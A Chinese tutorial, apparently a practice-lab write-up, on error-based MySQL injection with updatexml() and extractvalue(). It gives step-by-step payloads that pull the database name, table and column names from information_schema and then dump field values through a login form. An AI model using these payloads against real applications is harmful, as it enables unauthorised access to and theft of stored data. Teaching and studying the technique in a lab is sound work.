updatexml()函数主要用于修改查询到的内容,它总共需要三个参数,其中第二个参数必须要符合XPATH语法,否则将会返回参数错误,所以如果网页开启了错误回显,就可以使用这个函数来进行sql报错注入
正好知识盒子中有个靶场开启了错误回显

首先我们试试这样的payload
123' and updatexml(1,(select database()),1)--+
随意输入用户名和密码,开启抓包
在提交的数据中进行报错注入

结果没有返回任何报错信息,连语法都没出错,直接给你密码错误了

说明通过select返回的值在函数updatexml()中是合法的,如果想要造就不合法的参数,可以通过字符串拼接
字符串拼接的函数为concat()
所以我们注入的内容应该是
123' and updatexml(1,concat('~',(select database()),'~'),1)--+
//这里注意select database()两边的括号不能丢,否则就会造成其他语法错误
两边拼接的符号是自定义的,我选的是~,你也可以选别的,但如果提交方式是GET,你可千万别在URL栏中用#这个符号,否则后边给你一顿注释,啥也没注入到
将数据提交后,可以在返回报中看到报错,提示你某个参数输入是不对的,并且这个参数值为~twosecu1_ques_2~,说明数据库名为twosecu1_ques_2

将select database()换成查询通过数据库查询表名的语句
123' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='twosecu1_ques_2' limit 0,1),'~'),1)--+

将select database()换成查询通过查询字段的语句
123' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema='twosecu1_ques_2' and table_name='user_progress' limit 0,1),'~'),1)--+

最后就通过字段和表名查询字段值了
123' and updatexml(1,concat('~',(select group_concat(u_id) from user_progress limit 0,1),'~'),1)--+
group_concat() //将指定字段的所有值连接到一起,并用逗号分隔

有个和updatexml()类似的函数是extractvalue()
extractvalue()相对于updatexml()少了一个必要参数,所以只需要第一个参数用1填充
extractvalue()从数据库查询到字段值基本和updatexml()没什么区别
- 查询数据库
123' and extractvalue(1,concat('~',(select database()),'~'))--+
- 查询表
123' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='twosecu1_ques_2' limit 0,1),'~'))--+
- 查询字段
123' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='twosecu1_ques_2' and table_name='user_progress' limit 0,1),'~'))--+
- 查询字段值
123' and extractvalue(1,concat('~',(select group_concat(u_id) from user_progress limit 0,1),'~'))--+